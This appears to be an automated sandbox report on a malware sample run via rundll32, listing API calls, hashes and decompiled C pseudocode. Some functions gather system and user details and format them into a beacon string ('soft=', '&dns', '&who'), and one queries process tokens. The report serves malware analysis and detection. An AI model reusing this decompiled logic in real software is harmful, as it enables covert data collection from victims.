RtlLeaveCriticalSection.NTDLL(05279570), ref: 00F06758

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 19625fd1c0e52d1e3a75506f6a8fa059612448a428fca3a06315aa8e03241b44
Instruction ID: d6f64ccb73c9f14765e9ed3201aa0063962cdfc4b064981973bf440196c07a46
Opcode Fuzzy Hash: 19625fd1c0e52d1e3a75506f6a8fa059612448a428fca3a06315aa8e03241b44
Instruction Fuzzy Hash: 50F0D474A00108DBE7188BA4DD99F2977E5BB08714B048159F902CB2B0CB30AC10FA11

Uniqueness

Uniqueness Score: -1.00%

Function 00F05AF1, Relevance: 5.1, APIs: 4, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00F05AF1(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E00F0A71F(_t2);
				if(_t34 != 0) {
					_t30 = E00F0A71F(_t28);
					if(_t30 == 0) {
						E00F0A734(_t34);
					} else {
						_t39 = _a4;
						_t22 = E00F0A782(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E00F0A782(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}

0x00f05af1
0x00f05afb
0x00f05afd
0x00f05b03
0x00f05b03
0x00f05b0c
0x00f05b10
0x00f05b1c
0x00f05b20
0x00f05b94
0x00f05b22
0x00f05b22
0x00f05b26
0x00f05b2b
0x00f05b30
0x00f05b4a
0x00f05b39
0x00f05b39
0x00f05b3d
0x00f05b40
0x00f05b45
0x00f05b45
0x00f05b4f
0x00f05b77
0x00f05b7d
0x00f05b80
0x00f05b51
0x00f05b53
0x00f05b5b
0x00f05b66
0x00f05b6b
0x00f05b6b
0x00f05b87
0x00f05b8e
0x00f05b8f
0x00f05b8f
0x00f05b20
0x00f05b9f

APIs

lstrlen.KERNEL32(00000000,00000008,?,75144D40,?,?,00F03E08,?,?,?,?,00000102,00F067B8,?,?,00000000), ref: 00F05AFD

Part of subcall function 00F0A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00F05595), ref: 00F0A72B

Part of subcall function 00F0A782: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,00F05B2B,00000000,00000001,00000001,?,?,00F03E08,?,?,?,?,00000102), ref: 00F0A790
Part of subcall function 00F0A782: StrChrA.SHLWAPI(?,0000003F,?,?,00F03E08,?,?,?,?,00000102,00F067B8,?,?,00000000,00000000), ref: 00F0A79A

memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,00F03E08,?,?,?,?,00000102,00F067B8,?), ref: 00F05B5B
lstrcpy.KERNEL32(00000000,00000000), ref: 00F05B6B
lstrcpy.KERNEL32(00000000,00000000), ref: 00F05B77

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpy$AllocateHeaplstrlenmemcpy
String ID:
API String ID: 3767559652-0
Opcode ID: 8454f19b4c13a340f5065bbd71427e295f22de548f8a19d4f47ec18487919aaa
Instruction ID: d7f120b69793a335f03a764c5248e60bfe455f55108f6f1637d52913aab8d7f1
Opcode Fuzzy Hash: 8454f19b4c13a340f5065bbd71427e295f22de548f8a19d4f47ec18487919aaa
Instruction Fuzzy Hash: 42210FB2800619EBCB126F78CC44AABBFF9AF46790B148154F8049F282D674D900FBE0

Uniqueness

Uniqueness Score: -1.00%

Function 00F045C6, Relevance: 5.0, APIs: 4, Instructions: 39
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F045C6(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E00F0A71F(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}

0x00f045db
0x00f045df
0x00f045e9
0x00f045ee
0x00f045f3
0x00f045f5
0x00f045fd
0x00f04602
0x00f04610
0x00f04615
0x00f0461f

APIs

lstrlenW.KERNEL32(004F0053,?,75145520,00000008,0527935C,?,00F08D93,004F0053,0527935C,?,?,?,?,?,?,00F0523E), ref: 00F045D6
lstrlenW.KERNEL32(00F08D93,?,00F08D93,004F0053,0527935C,?,?,?,?,?,?,00F0523E), ref: 00F045DD

Part of subcall function 00F0A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00F05595), ref: 00F0A72B

memcpy.NTDLL(00000000,004F0053,751469A0,?,?,00F08D93,004F0053,0527935C,?,?,?,?,?,?,00F0523E), ref: 00F045FD
memcpy.NTDLL(751469A0,00F08D93,00000002,00000000,004F0053,751469A0,?,?,00F08D93,004F0053,0527935C), ref: 00F04610

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlenmemcpy$AllocateHeap
String ID:
API String ID: 2411391700-0
Opcode ID: bc35094d4cceccd8434514090336074c0b097efc1df4c6ef391de4beb8528731
Instruction ID: ed48a2a2cda591f2546a914ec6dea019804ad18f6b2a0722c3421b24431dcdd5
Opcode Fuzzy Hash: bc35094d4cceccd8434514090336074c0b097efc1df4c6ef391de4beb8528731
Instruction Fuzzy Hash: 68F0F976900119BBDF11EFA9CC85C9F7BACEF093647158062FA04D7212E635EA14ABA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F0361A, Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(05279A78,00000000,00000000,74ECC740,00F020ED,00000000), ref: 00F0362A
lstrlen.KERNEL32(?), ref: 00F03632

Part of subcall function 00F0A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00F05595), ref: 00F0A72B

lstrcpy.KERNEL32(00000000,05279A78), ref: 00F03646
lstrcat.KERNEL32(00000000,?), ref: 00F03651

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$AllocateHeaplstrcatlstrcpy
String ID:
API String ID: 74227042-0
Opcode ID: f65913e0fe1ec2e5d67bc64782b01dadc0ee0bab71508a9e040bfd1542f08514
Instruction ID: fcec18ca842df8e7897fd8e48679d9d954ceaa0628b5123ac8bbe2797124b15b
Opcode Fuzzy Hash: f65913e0fe1ec2e5d67bc64782b01dadc0ee0bab71508a9e040bfd1542f08514
Instruction Fuzzy Hash: 5CE01273901625A7C711ABE9AC48C5BBBADFF897617044517F601D3120C7359905EBE1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 5324 Parent PID: 5336 rundll32.exeCOMMON

Executed Functions

Function 04635A27, Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E04635A27(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E0463A71F(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E0463A734(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}

0x04635a34
0x04635a35
0x04635a36
0x04635a37
0x04635a38
0x04635a3c
0x04635a43
0x04635a52
0x04635a55
0x04635a58
0x04635a5f
0x04635a62
0x04635a65
0x04635a68
0x04635a6b
0x04635a76
0x04635a78
0x04635a81
0x04635a89
0x04635a8b
0x04635a9d
0x04635aa7
0x04635aab
0x04635aba
0x04635abe
0x04635ac7
0x04635acf
0x04635acf
0x04635ad1
0x04635ad1
0x04635ad9
0x04635adf
0x04635ae3
0x04635ae3
0x04635aee

APIs

NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 04635A6E
NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 04635A81
NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 04635A9D

Part of subcall function 0463A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04635595), ref: 0463A72B

NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 04635ABA
memcpy.NTDLL(00000000,00000000,0000001C), ref: 04635AC7
NtClose.NTDLL(?), ref: 04635AD9
NtClose.NTDLL(00000000), ref: 04635AE3

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
String ID:
API String ID: 2575439697-0
Opcode ID: 0c0770be73e892d5a0957d360dc22ac9692808c57dc7e84100e7e2bb39298bf5
Instruction ID: 5937c8a7995d4d55446a2b503082ef7139b486fbb3c84c4323af41d4bce62868
Opcode Fuzzy Hash: 0c0770be73e892d5a0957d360dc22ac9692808c57dc7e84100e7e2bb39298bf5
Instruction Fuzzy Hash: 44211672900258BBDB01AFA5CC84ADEBFBDEF08741F105026F902F6110E7769A44ABA4

Uniqueness

Uniqueness Score: -1.00%

Function 04634AB6, Relevance: 33.2, APIs: 22, Instructions: 244
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E04634AB6(long __eax, void* __ecx, void* __edx, intOrPtr _a4, char** _a8, int* _a12, void* _a16) {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* __ebx;
				void* __edi;
				long _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr _t64;
				void* _t67;
				intOrPtr _t68;
				int _t71;
				void* _t72;
				void* _t73;
				void* _t75;
				void* _t78;
				intOrPtr _t82;
				intOrPtr _t86;
				intOrPtr* _t88;
				void* _t89;
				void* _t94;
				intOrPtr _t100;
				signed int _t104;
				char** _t106;
				int _t109;
				signed int _t111;
				intOrPtr* _t112;
				intOrPtr* _t114;
				intOrPtr* _t116;
				intOrPtr* _t118;
				intOrPtr _t121;
				intOrPtr _t126;
				int _t130;
				CHAR* _t132;
				intOrPtr _t133;
				void* _t134;
				void* _t143;
				int _t144;
				void* _t145;
				intOrPtr _t146;
				void* _t148;
				long _t152;
				intOrPtr* _t153;
				intOrPtr* _t154;
				intOrPtr* _t157;
				void* _t158;
				void* _t160;

				_t143 = __edx;
				_t134 = __ecx;
				_t59 = __eax;
				_v12 = 8;
				if(__eax == 0) {
					_t59 = GetTickCount();
				}
				_t60 =  *0x463d018; // 0xb20846e7
				asm("bswap eax");
				_t61 =  *0x463d014; // 0x3a87c8cd
				_t132 = _a16;
				asm("bswap eax");
				_t62 =  *0x463d010; // 0xd8d2f808
				asm("bswap eax");
				_t63 =  *0x463d00c; // 0x8f8f86c2
				asm("bswap eax");
				_t64 =  *0x463d2a8; // 0xb2a5a8
				_t3 = _t64 + 0x463e633; // 0x74666f73
				_t144 = wsprintfA(_t132, _t3, 3, 0x3d15e, _t63, _t62, _t61, _t60,  *0x463d02c,  *0x463d004, _t59);
				_t67 = E046356CD();
				_t68 =  *0x463d2a8; // 0xb2a5a8
				_t4 = _t68 + 0x463e673; // 0x74707526
				_t71 = wsprintfA(_t144 + _t132, _t4, _t67);
				_t160 = _t158 + 0x38;
				_t145 = _t144 + _t71; // executed
				_t72 = E046358DB(_t134); // executed
				_t133 = __imp__;
				_v8 = _t72;
				if(_t72 != 0) {
					_t126 =  *0x463d2a8; // 0xb2a5a8
					_t7 = _t126 + 0x463e8d4; // 0x736e6426
					_t130 = wsprintfA(_a16 + _t145, _t7, _t72);
					_t160 = _t160 + 0xc;
					_t145 = _t145 + _t130;
					HeapFree( *0x463d238, 0, _v8);
				}
				_t73 = E0463A199();
				_v8 = _t73;
				if(_t73 != 0) {
					_t121 =  *0x463d2a8; // 0xb2a5a8
					_t11 = _t121 + 0x463e8dc; // 0x6f687726
					wsprintfA(_t145 + _a16, _t11, _t73);
					_t160 = _t160 + 0xc;
					HeapFree( *0x463d238, 0, _v8);
				}
				_t146 =  *0x463d32c; // 0x51695b0
				_t75 = E04634622(0x463d00a, _t146 + 4);
				_t152 = 0;
				_v20 = _t75;
				if(_t75 == 0) {
					L26:
					RtlFreeHeap( *0x463d238, _t152, _a16); // executed
					return _v12;
				} else {
					_t78 = RtlAllocateHeap( *0x463d238, 0, 0x800); // executed
					_v8 = _t78;
					if(_t78 == 0) {
						L25:
						HeapFree( *0x463d238, _t152, _v20);
						goto L26;
					}
					E0463518F(GetTickCount());
					_t82 =  *0x463d32c; // 0x51695b0
					__imp__(_t82 + 0x40);
					asm("lock xadd [eax], ecx");
					_t86 =  *0x463d32c; // 0x51695b0
					__imp__(_t86 + 0x40);
					_t88 =  *0x463d32c; // 0x51695b0
					_t89 = E04631BB6(1, _t143, _a16,  *_t88); // executed
					_t148 = _t89;
					_v28 = _t148;
					asm("lock xadd [eax], ecx");
					if(_t148 == 0) {
						L24:
						RtlFreeHeap( *0x463d238, _t152, _v8); // executed
						goto L25;
					}
					StrTrimA(_t148, 0x463c28c);
					_push(_t148);
					_t94 = E0463361A();
					_v16 = _t94;
					if(_t94 == 0) {
						L23:
						HeapFree( *0x463d238, _t152, _t148);
						goto L24;
					}
					_t153 = __imp__;
					 *_t153(_t148, _a4);
					 *_t153(_v8, _v20);
					_t154 = __imp__;
					 *_t154(_v8, _v16);
					_t100 = E04639070( *_t154(_v8, _t148), _v8);
					_a4 = _t100;
					if(_t100 == 0) {
						_v12 = 8;
						L21:
						E04636761();
						L22:
						HeapFree( *0x463d238, 0, _v16);
						_t152 = 0;
						goto L23;
					}
					_t104 = E046369B4(_t133, 0xffffffffffffffff, _t148,  &_v24); // executed
					_v12 = _t104;
					if(_t104 == 0) {
						_t157 = _v24;
						_t111 = E0463391F(_t157, _a4, _a8, _a12); // executed
						_v12 = _t111;
						_t112 =  *((intOrPtr*)(_t157 + 8));
						 *((intOrPtr*)( *_t112 + 0x80))(_t112);
						_t114 =  *((intOrPtr*)(_t157 + 8));
						 *((intOrPtr*)( *_t114 + 8))(_t114);
						_t116 =  *((intOrPtr*)(_t157 + 4));
						 *((intOrPtr*)( *_t116 + 8))(_t116);
						_t118 =  *_t157;
						 *((intOrPtr*)( *_t118 + 8))(_t118);
						E0463A734(_t157);
					}
					if(_v12 != 0x10d2) {
						L16:
						if(_v12 == 0) {
							_t106 = _a8;
							if(_t106 != 0) {
								_t149 =  *_t106;
								_t155 =  *_a12;
								wcstombs( *_t106,  *_t106,  *_a12);
								_t109 = E04635800(_t149, _t149, _t155 >> 1);
								_t148 = _v28;
								 *_a12 = _t109;
							}
						}
						goto L19;
					} else {
						if(_a8 != 0) {
							L19:
							E0463A734(_a4);
							if(_v12 == 0 || _v12 == 0x10d2) {
								goto L22;
							} else {
								goto L21;
							}
						}
						_v12 = _v12 & 0x00000000;
						goto L16;
					}
				}
			}

0x04634ab6
0x04634ab6
0x04634ab6
0x04634abf
0x04634ac8
0x04634aca
0x04634aca
0x04634ad7
0x04634ae2
0x04634ae5
0x04634aea
0x04634af3
0x04634af6
0x04634afb
0x04634afe
0x04634b03
0x04634b06
0x04634b12
0x04634b1f
0x04634b21
0x04634b27
0x04634b2c
0x04634b37
0x04634b39
0x04634b3c
0x04634b3e
0x04634b43
0x04634b49
0x04634b4e
0x04634b51
0x04634b56
0x04634b63
0x04634b65
0x04634b6b
0x04634b75
0x04634b75
0x04634b77
0x04634b7c
0x04634b81
0x04634b84
0x04634b89
0x04634b96
0x04634b98
0x04634ba6
0x04634ba6
0x04634ba8
0x04634bb6
0x04634bbb
0x04634bbd
0x04634bc2
0x04634d83
0x04634d8d
0x04634d96
0x04634bc8
0x04634bd4
0x04634bda
0x04634bdf
0x04634d77
0x04634d81
0x00000000
0x04634d81
0x04634beb
0x04634bf0
0x04634bf9
0x04634c0a
0x04634c0e
0x04634c17
0x04634c1d
0x04634c27
0x04634c2c
0x04634c33
0x04634c3c
0x04634c42
0x04634d6b
0x04634d75
0x00000000
0x04634d75
0x04634c4e
0x04634c54
0x04634c55
0x04634c5a
0x04634c5f
0x04634d61
0x04634d69
0x00000000
0x04634d69
0x04634c68
0x04634c6f
0x04634c77
0x04634c7c
0x04634c85
0x04634c90
0x04634c95
0x04634c9a
0x04634d99
0x04634d4d
0x04634d4d
0x04634d52
0x04634d5d
0x04634d5f
0x00000000
0x04634d5f
0x04634ca4
0x04634ca9
0x04634cae
0x04634cb3
0x04634cbe
0x04634cc3
0x04634cc6
0x04634ccc
0x04634cd2
0x04634cd8
0x04634cdb
0x04634ce1
0x04634ce4
0x04634ce9
0x04634ced
0x04634ced
0x04634cf9
0x04634d05
0x04634d09
0x04634d0b
0x04634d10
0x04634d12
0x04634d17
0x04634d1c
0x04634d29
0x04634d31
0x04634d34
0x04634d34
0x04634d10
0x00000000
0x04634cfb
0x04634cff
0x04634d36
0x04634d39
0x04634d42
0x00000000
0x00000000
0x00000000
0x00000000
0x04634d42
0x04634d01
0x00000000
0x04634d01
0x04634cf9

APIs

GetTickCount.KERNEL32 ref: 04634ACA
wsprintfA.USER32 ref: 04634B1A
wsprintfA.USER32 ref: 04634B37
wsprintfA.USER32 ref: 04634B63
HeapFree.KERNEL32(00000000,?), ref: 04634B75
wsprintfA.USER32 ref: 04634B96
HeapFree.KERNEL32(00000000,?), ref: 04634BA6
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04634BD4
GetTickCount.KERNEL32 ref: 04634BE5
RtlEnterCriticalSection.NTDLL(05169570), ref: 04634BF9
RtlLeaveCriticalSection.NTDLL(05169570), ref: 04634C17

Part of subcall function 04631BB6: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,74ECC740,?,?,046320C2,?,051695B0), ref: 04631BE1
Part of subcall function 04631BB6: lstrlen.KERNEL32(?,?,?,046320C2,?,051695B0), ref: 04631BE9
Part of subcall function 04631BB6: strcpy.NTDLL ref: 04631C00
Part of subcall function 04631BB6: lstrcat.KERNEL32(00000000,?), ref: 04631C0B
Part of subcall function 04631BB6: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,046320C2,?,051695B0), ref: 04631C28

StrTrimA.SHLWAPI(00000000,0463C28C,?,051695B0), ref: 04634C4E

Part of subcall function 0463361A: lstrlen.KERNEL32(05169A78,00000000,00000000,74ECC740,046320ED,00000000), ref: 0463362A
Part of subcall function 0463361A: lstrlen.KERNEL32(?), ref: 04633632
Part of subcall function 0463361A: lstrcpy.KERNEL32(00000000,05169A78), ref: 04633646
Part of subcall function 0463361A: lstrcat.KERNEL32(00000000,?), ref: 04633651

lstrcpy.KERNEL32(00000000,?), ref: 04634C6F
lstrcpy.KERNEL32(?,?), ref: 04634C77
lstrcat.KERNEL32(?,?), ref: 04634C85
lstrcat.KERNEL32(?,00000000), ref: 04634C8B

Part of subcall function 04639070: lstrlen.KERNEL32(?,00000000,05169A98,00000000,04638808,05169C76,?,?,?,?,?,63699BC3,00000005,0463D00C), ref: 04639077
Part of subcall function 04639070: mbstowcs.NTDLL ref: 046390A0
Part of subcall function 04639070: memset.NTDLL ref: 046390B2

wcstombs.NTDLL ref: 04634D1C

Part of subcall function 0463391F: SysAllocString.OLEAUT32(?), ref: 0463395A
Part of subcall function 0463391F: IUnknown_QueryInterface_Proxy.RPCRT4(?,332C4425,?), ref: 046339DD

Part of subcall function 0463A734: RtlFreeHeap.NTDLL(00000000,00000000,04635637,00000000,?,?,00000000), ref: 0463A740

HeapFree.KERNEL32(00000000,?,?), ref: 04634D5D
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 04634D69
RtlFreeHeap.NTDLL(00000000,?,?,051695B0), ref: 04634D75
HeapFree.KERNEL32(00000000,?), ref: 04634D81
RtlFreeHeap.NTDLL(00000000,?), ref: 04634D8D

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$lstrlen$lstrcatwsprintf$lstrcpy$CountCriticalSectionTickTrim$AllocAllocateEnterInterface_LeaveProxyQueryStringUnknown_mbstowcsmemsetstrcpywcstombs
String ID:
API String ID: 603507560-0
Opcode ID: 3927b91f8585a0e6766670cec217603baa2198679f684fcf7d5b321c677c6cbb
Instruction ID: 2165f5fb930adfbc3128a1573e465f2c4130a5f71be1a8a0416827f74bab1ec9
Opcode Fuzzy Hash: 3927b91f8585a0e6766670cec217603baa2198679f684fcf7d5b321c677c6cbb
Instruction Fuzzy Hash: 01915971900188BFDB11DFA4DC88AAEBBB9EF09316F144055F905E7260EB39ED51DB60

Uniqueness

Uniqueness Score: -1.00%

Function 0463AC55, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E0463AC55(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				struct HINSTANCE__* _t99;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x4630000;
				_t115 = _t139[3] + 0x4630000;
				_t131 = _t139[4] + 0x4630000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x4630000;
				_v16 = _t139[5] + 0x4630000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x4630002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x463d1a0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x463d1a0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x463d1a0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x463d19c; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x463d1a0; // 0x0
					if(_t98 == 0) {
						L9:
						_t99 = LoadLibraryA(_v60); // executed
						_t138 = _t99;
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x463d198; // 0x0
										 *_t102 = _t125;
										 *0x463d198 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x463d19c; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}

0x0463ac64
0x0463ac7a
0x0463ac80
0x0463ac82
0x0463ac87
0x0463ac8d
0x0463ac92
0x0463ac95
0x0463aca3
0x0463acaa
0x0463acad
0x0463acb0
0x0463acb1
0x0463acb4
0x0463acb7
0x0463acba
0x0463acbf
0x0463acce
0x00000000
0x0463acd4
0x0463acde
0x0463ace8
0x0463aced
0x0463acef
0x0463acf9
0x0463acfc
0x0463acff
0x0463ad05
0x0463ad07
0x0463ad07
0x0463ad0a
0x0463ad0d
0x0463ad12
0x0463ad16
0x0463ad29
0x0463ad2b
0x0463add3
0x0463add3
0x0463adda
0x0463addd
0x0463ade7
0x0463ade7
0x0463adeb
0x0463ae69
0x0463ae6c
0x0463ae6e
0x0463ae6e
0x0463ae75
0x0463ae77
0x0463ae81
0x0463ae84
0x0463ae87
0x0463ae87
0x00000000
0x0463aded
0x0463adf0
0x0463ae1e
0x0463ae28
0x0463ae2c
0x0463ae34
0x0463ae37
0x0463ae3e
0x0463ae48
0x0463ae48
0x0463ae4c
0x0463ae51
0x0463ae60
